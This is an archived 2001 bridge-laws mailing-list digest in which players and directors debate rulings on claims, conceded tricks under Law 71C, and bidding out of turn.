majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 11:21:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G0KxA00728 for bridge-laws-outgoing; Tue, 16 Jan 2001 11:20:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G0Kqt00687 for ; Tue, 16 Jan 2001 11:20:53 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id QAA20267; Mon, 15 Jan 2001 16:20:47 -0800 Message-Id: <200101160020.QAA20267@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim: Correct Procedure In-Reply-To: Your message of "Mon, 15 Jan 2001 18:14:59 EST." Date: Mon, 15 Jan 2001 16:20:47 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > I have read (I think it was an article in the ACBL bulletin, but I'm > not sure) that when declarer claims under Law 68, defenders are > permitted to examine each others' hands before deciding whether to > acquiesce in or to contest the claim. I can find no support for this > in the laws of Duplicate, I can't even find a statement in the Laws that says the defenders are permitted to examine declarer's hand before deciding whether to contest a claim! On the other hand, there seems to be no Law saying a defender *can't* expose his hand to his partner after a claim. There are lots of laws about exposed cards that happen during the auction, or during play, or when declarer exposes his cards after an opening lead out of turn; but once a claim occurs, play ceases, so none of these Laws have any effect. So it may be that the defenders are permitted to examine each others' hands simply by the absence of any Law to the contrary being in effect. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 12:20:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G1JeI13147 for bridge-laws-outgoing; Tue, 16 Jan 2001 12:19:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G1JXt13107 for ; Tue, 16 Jan 2001 12:19:34 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Mon, 15 Jan 2001 17:18:48 -0800 Message-ID: <00b401c07f5a$52f13ea0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" , "Ed Reppert" References: Subject: Re: [BLML] Claim: Correct Procedure Date: Mon, 15 Jan 2001 17:09:09 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > I have read (I think it was an article in the ACBL bulletin, but I'm > not sure) that when declarer claims under Law 68, defenders are > permitted to examine each others' hands before deciding whether to > acquiesce in or to contest the claim. I can find no support for this > in the laws of Duplicate, but there is a provision in the laws of > *rubber* bridge that "at any time either defender may face his hand > for inspection by his partner" [Law 69 of the rubber laws]. I believe > that the people who profess this belief with regard to Duplicate are > mistaken, and that both defenders are required to decide whether to > acquiesce in or to contest declarer's claim *without* seeing > partner's cards. Am I right? May defenders consult each other? (E.g., > "do you have the king of spades, partner?") > They don't have to consult about cards held, since L7B2 says the TD "requires all players to put their remaining cards face up on the table." Just like rubber bridge. L70B3: The Director then hears the opponents' objections to the claim. Now, can they consult about their objections, helping each other to find a line of play that invalidates the claim? That would be the inevitable conclusion, since one partner can state an objection, the other can modify it, the first remodify, etc., until a line is found. "Objections" isn't limited to one objection per player. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 12:24:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G1NWI14498 for bridge-laws-outgoing; Tue, 16 Jan 2001 12:23:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G1NMt14437 for ; Tue, 16 Jan 2001 12:23:23 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14IKqB-000N9V-0U for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 01:23:17 +0000 Message-ID: Date: Mon, 15 Jan 2001 23:43:42 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim: Correct Procedure References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >I have read (I think it was an article in the ACBL bulletin, but I'm >not sure) that when declarer claims under Law 68, defenders are >permitted to examine each others' hands before deciding whether to >acquiesce in or to contest the claim. I can find no support for this >in the laws of Duplicate, but there is a provision in the laws of >*rubber* bridge that "at any time either defender may face his hand >for inspection by his partner" [Law 69 of the rubber laws]. I believe >that the people who profess this belief with regard to Duplicate are >mistaken, and that both defenders are required to decide whether to >acquiesce in or to contest declarer's claim *without* seeing >partner's cards. Am I right? May defenders consult each other? (E.g., >"do you have the king of spades, partner?") It does not matter whether it is correct or not. If a defender would contest this claim if his partner had the spade king then he contests the claim. You may be right that he has no right to inspect his partner's hand but no-one would ever get a ruling based on it, and I would probably hit declarer with a DP if he tried it. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 12:24:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G1NeD14539 for bridge-laws-outgoing; Tue, 16 Jan 2001 12:23:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G1NNt14445 for ; Tue, 16 Jan 2001 12:23:24 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14IKqB-000N9U-0U for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 01:23:16 +0000 Message-ID: Date: Mon, 15 Jan 2001 23:41:24 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: TR: [BLML] Law 71: Concession cancelled References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Laval_DUBREUIL@UQSS.UQuebec.CA writes >a.witzen wrote: > >>this next sentence has been deleted >>and should be scrapped in your lawbook > >>71C "Until the concedind side makes a call on a subsequent >>board, or until the round ends, the Director shall cancell the >>concession of a trick that could have been lost by any >>normal play of the remaining cards." >______________________________________________________________ > >Has been deleted by who and when ???????????? > >I did check in all on-line versions of Laws (ACBL, EBU, WBF) >and found: > >71C. Implausible Concession > if a player has conceded a trick that cannot be lost by > any normal play of the remaining cards. Until the > conceding side makes a call on a subsequent board, or > until the round ends, the Director shall cancel the > concession of a trick that could not have been lost > by any normal play of the remaining cards. The second sentence has not been deleted. However, it has been realised that it is superfluous, and it is acceptable to treat this Law _as though_ it had been deleted. Any situation covered by the second sentence is also covered by the first sentence, also some situations not covered by the second sentence are covered by the first sentence. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 13:46:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G2gj212470 for bridge-laws-outgoing; Tue, 16 Jan 2001 13:42:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G2gbt12427 for ; Tue, 16 Jan 2001 13:42:38 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f0FJqxY00227 for bridge-laws@rgb.anu.edu.au; Mon, 15 Jan 2001 19:52:59 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: bridge-laws@rgb.anu.edu.au Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Mon, 15 Jan 2001 19:29:59 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <01011519525801.00176@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Mon, 15 Jan 2001, David Stevenson wrote: > > > >71C. Implausible Concession > > if a player has conceded a trick that cannot be lost by > > any normal play of the remaining cards. Until the > > conceding side makes a call on a subsequent board, or > > until the round ends, the Director shall cancel the > > concession of a trick that could not have been lost > > by any normal play of the remaining cards. > > The second sentence has not been deleted. However, it has been > realised that it is superfluous, and it is acceptable to treat this Law > _as though_ it had been deleted. > > Any situation covered by the second sentence is also covered by the > first sentence, also some situations not covered by the second sentence > are covered by the first sentence. I had always understood the second sentence to limit the scope of the first sentence. If declarer concedes, "You get your trump queen" when there is no trump out and he has all winners on his stated line of play, this can be corrected at any time in the correction period under Law 71A. If he concedes "down one" when he had already made the contract, this can be corrected at any time under both L71A and L71B. If he concedes, "You get your trump queen" when he holds JT2 and the outstanding trump is the 9, leading the 2 is not rational (according to an interpretation in an ACBL Bulletin article), but declarer can only get the trick back if he calles the TD before the round ends. In contrast, L69B allows an acquiescence to be withdrawn during the full correction period, if the trick could not be lost under any normal line of play. When the ACBL published its guide to the 1987 Laws changes, it explicitly mentioned this distinction. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 14:48:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G3iNH01995 for bridge-laws-outgoing; Tue, 16 Jan 2001 14:44:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G3iFt01990 for ; Tue, 16 Jan 2001 14:44:16 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14IN2S-000LqU-0V for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 03:44:04 +0000 Message-ID: Date: Tue, 16 Jan 2001 03:31:55 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , David Stevenson writes > > Too many posts have seemed too complex to me, so here is a query that >is easy enough from a NZ correspondent. > > Dealer South, North bids out of turn, not accepted, so South is >silenced. Are there any constraints on North's bidding? > Only in the context of the Rottweiller coup. If the hand can reasonably belong to us he can do what he likes; if it doesn't then psyching may fetch an adjusted score. cheers john -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 16:15:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G5CUv18797 for bridge-laws-outgoing; Tue, 16 Jan 2001 16:12:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G5CPt18793 for ; Tue, 16 Jan 2001 16:12:25 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id QAA22759 for ; Tue, 16 Jan 2001 16:05:09 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Tue, 16 Jan 2001 16:06:16 +0000 (EST) Subject: Re: [BLML] Annoyingly irregular To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Tue, 16 Jan 2001 16:11:07 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 16/01/2001 04:11:20 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk One wrote: [snip] >Kaplan stated that *While you might think >less of them as a person,* they should not be >penalised for acting to their own advantage >within the Laws of Bridge. > >I may be misinterpreting Kaplan, but I believe >he was making two important points: > >1. His private bridge morality was merely a >subset of bridge legality; and > >2. While he might disagree with the subset >of bridge legality another person selected as >their bridge morality, he would defend to the >death their right to choose their bridge >actions within the Laws. However, Kaplan's stance on the second point was modified by his successful persistence in campaigning for *change* to the Laws. For example, most use of UI was more-or-less legal (and therefore moral) in the 1950s. ACs had to let infractors get away with the hesitation tango, since the alternative was a disproportionate charge of outright cheating. Kaplan's efforts in making use of UI a mere technical violation, with no suggestion of cheating, changed the enforcement of bridge laws. It therefore removed use of UI from the scope of bridge morality. Somewhat off-the-topic question: What action(s), prohibited by the Laws of Bridge in general, and by L72B2 in particular, would BLMLers take in order to satisfy their real-world morality? Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 17:15:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G6Ccm06313 for bridge-laws-outgoing; Tue, 16 Jan 2001 17:12:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G6CVt06272 for ; Tue, 16 Jan 2001 17:12:32 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Mon, 15 Jan 2001 22:11:47 -0800 Message-ID: <00db01c07f83$419b1620$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01011519525801.00176@psa836> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Mon, 15 Jan 2001 22:02:43 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David J. Grabiner wrote: > David Stevenson wrote:> > > > > > >71C. Implausible Concession > > > if a player has conceded a trick that cannot be lost by > > > any normal play of the remaining cards. Until the > > > conceding side makes a call on a subsequent board, or > > > until the round ends, the Director shall cancel the > > > concession of a trick that could not have been lost > > > by any normal play of the remaining cards. > > > > The second sentence has not been deleted. However, it has been > > realised that it is superfluous, and it is acceptable to treat this Law > > _as though_ it had been deleted. I believe it to be a fossil from the 1987 Laws that should have been removed. Yes, treat it as deleted, by all means. > > > > Any situation covered by the second sentence is also covered by the > > first sentence, also some situations not covered by the second sentence > > are covered by the first sentence. Situation(s), yes, time period(s), no. When L71B (consisting of the second sentence only) was changed to L71C in 1997, with an added clause (if...) that completes the leading sentence of L71, no one who reviewed the 1997 Laws commented on the change. At least I can't find anything about it in comments made by DWS or Gary Blaiss at the time. Here is what Ton Kooijman wrote when summarizing the 1997 changes to the Laws: ---- Under the old laws, when you discovered that you had collected one more trick than the score suggests, but the round had already ended, the TD could not increase your score unless there was a claim. I remember that in some situations TDs tried to convince players there had been a claim because they wanted to restore equity. From now on the TD is allowed to increase the score if he is 100% sure that the pair really made this extra trick. ----- (These commentaries can be viewed on David's excellent website -- www.blakjak.demon.co.uk/lws_menu.htm#changes ) The two sentences of L71C seem contradictory, since the first one allows the same time for correction as L71A/B, but the second sentence requires (yes, "requires," a reasonable assumption) a quicker correction. Looking for a difference, I see "cannot be lost" in the first sentence and "could not be lost" in the second. These mean the same thing to me, so I am puzzled. It appears that the second sentence was supposed to have been replaced by the first, and it got left in by mistake. The implausible concession of a trick was now to get the same time allowance for correction as the concession of a trick that cannot be lost by any legal play (L71A). > > I had always understood the second sentence to limit the scope of the > first sentence. If declarer concedes, "You get your trump queen" when > there is no trump out and he has all winners on his stated line of play, > this can be corrected at any time in the correction period under Law > 71A. If he concedes "down one" when he had already made the contract, > this can be corrected at any time under both L71A and L71B. But those situations are not mentioned at all in L71C, so neither L71C sentence applies to them. > If he > concedes, "You get your trump queen" when he holds JT2 and the > outstanding trump is the 9, leading the 2 is not rational (according to > an interpretation in an ACBL Bulletin article), but declarer can only > get the trick back if he calls the TD before the round ends. Or until the conceding side makes a call on a subsequent board of the same round, whichever comes earlier. That was what the 1987 Law (L71B) said. (1975's L71B required a correction before the hands are replaced in the board, but 1987 extended the time period a bit.) > > In contrast, L69B allows an acquiescence to be withdrawn during the full > correction period, if the trick could not be lost under any normal line > of play. When the ACBL published its guide to the 1987 Laws changes, > it explicitly mentioned this distinction. Yes, but that was the distinction made in the 1987 Laws. The distinction no longer exists, evidently. Marv San Diego, CA, USA (After two margaritas) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 18:39:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0G7Zsv09339 for bridge-laws-outgoing; Tue, 16 Jan 2001 18:35:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0G7Zmt09335 for ; Tue, 16 Jan 2001 18:35:48 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Mon, 15 Jan 2001 23:35:03 -0800 Message-ID: <010b01c07f8e$e3c388a0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Annoyingly irregular Date: Mon, 15 Jan 2001 23:34:36 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > Somewhat off-the-topic question: What action(s), > prohibited by the Laws of Bridge in general, > and by L72B2 in particular, would BLMLers > take in order to satisfy their real-world > morality? It is evidently legal to ignore an infraction to which no one has called attention, going by Law 9. As I see it, the Law against waiving a penalty for an infraction (L723) applies only if attention has been called to the infraction. During the Birmingham NABC an opponent dropped the king of diamonds face up on the table while sorting her hand, and quickly snatched it up. Certain that no one else but me saw it, I said nothing, treating it as any card inadvertently seen in an opponent's hand. Had I called attention to it, the TD would have been called and L24C applied. He would have required the king to be put face up on the table during the entire auction, and would have required the offender's partner to pass on the first round. Moreover, if the offender had become a defender, the declarer for my side could have treated it as a major penalty card during the play. I do not consider this non-action to constitute the waiving of a penalty. If it does, then you have the answer to your question. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 21:16:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GAEtn09464 for bridge-laws-outgoing; Tue, 16 Jan 2001 21:14:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GAElt09460 for ; Tue, 16 Jan 2001 21:14:48 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id LAA15303; Tue, 16 Jan 2001 11:12:09 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA16590; Tue, 16 Jan 2001 11:14:33 +0100 (MET) for Message-Id: <3.0.6.32.20010116112647.0082b510@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 16 Jan 2001 11:26:47 +0100 To: Adam Beneschan , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff Cc: adam@irvine.com In-Reply-To: <200101152250.OAA18460@mailhub.irvine.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:50 15/01/01 -0800, Adam Beneschan wrote: >Law 72B1 says the TD can adjust if the offender "could have known at >the time of his irregularity that the irregularity would be *likely* >to damage the non-offending side." [Emphasis mine.] How can that Law >apply in this case? With South silenced, North now has to make a wild >guess as to the correct contract; and he cannot get any help from his >partner. For all he knows, 2H, 4H, 6H, 7H, 3NT, 5D, 6D, 7D, or 4S >could be the correct contract, and it would be nice if partner could >tell something about his hand, but he can't. So how could North >possibly know that his BOOT is *likely* to damage the non-offenders? >Quite the opposite: North should know that opening 1H out of turn is >likely to shoot themselves in the foot. Of course, it's *possible* >that North will guess right and the opponents will get unlucky, just >as it's possible that a shot in one's own foot could ricochet off >one's toenail and hit an opponent in the head, but 72B1 does NOT say >"if the offender could have known at the time of his irregularity that >the irregularity had at least a one-in-a-ten chance of damaging the >non-offending side". AG : absolutely right. But don't forget one thing : if North opens OOT with a psyche, he 'could well have known' ; if he opens OOT, then psyches (the case of the Multi), samething. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 16 22:16:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GBFjg15112 for bridge-laws-outgoing; Tue, 16 Jan 2001 22:15:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GBFct15075 for ; Tue, 16 Jan 2001 22:15:38 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0GBFUK02798 for bridge-laws@rgb.anu.edu.au; Tue, 16 Jan 2001 11:15:30 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 16 Jan 2001 11:15 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Your opinion pls. To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <000501c07f12$8e544480$33daa2c3@upc.chello.be> Hans wrote > Let's assume that I lead a high spade to have a look at dummy. Once > dummy comes down a trump switch looks automatic. Now you don't need to > be Bob Hamman to keep declarer till 8 tricks. If he embarks on a > cross-ruff he can never make more then a club and 7 hearts. > If he plays on clubs you can force the weak hand to ruff diamonds, > forcing declarer to switch to a cross-ruff Thanks Hans, this last was a line I didn't consider - just a blind spot I guess. Mind you if you find this defence while "napping" I'd hate to play against you when awake! The whole appeals system sounds rather difficult. Couldn't the AC allow witnesses to attend by conference call? Even a single speaker-phone would give people further a better chance of being involved. Tim -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 17 00:38:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0GDbTv08986 for bridge-laws-outgoing; Wed, 17 Jan 2001 00:37:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from imo-d10.mx.aol.com (imo-d10.mx.aol.com [205.188.157.42]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0GDbMt08947 for ; Wed, 17 Jan 2001 00:37:22 +1100 (EST) Received: from Schoderb@aol.com by imo-d10.mx.aol.com (mail_out_v29.5.) id r.1e.10014d60 (4318); Tue, 16 Jan 2001 08:35:42 -0500 (EST) From: Schoderb@aol.com Message-ID: <1e.10014d60.2795a82e@aol.com> Date: Tue, 16 Jan 2001 08:35:42 EST Subject: Re: [BLML] Let's get back to the easy stuff To: adam@irvine.com, bridge-laws@rgb.anu.edu.au MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_1e.10014d60.2795a82e_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 171 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk --part1_1e.10014d60.2795a82e_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 1/15/01 5:52:28 PM Eastern Standard Time, adam@irvine.com writes: > I think the answer to David's question is that since, at the time of > North's irregularity, North knows absolutely nothing about South's > hand except for the fact that it contains 13 cards, Law 72B1 cannot > apply. Thus there are no constraints on North's bidding. > > -- Adam > > Amen, Kojak --part1_1e.10014d60.2795a82e_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 1/15/01 5:52:28 PM Eastern Standard Time, adam@irvine.com
writes:


I think the answer to David's question is that since, at the time of
North's irregularity, North knows absolutely nothing about South's
hand except for the fact that it contains 13 cards, Law 72B1 cannot
apply.  Thus there are no constraints on North's bidding.

                               -- Adam



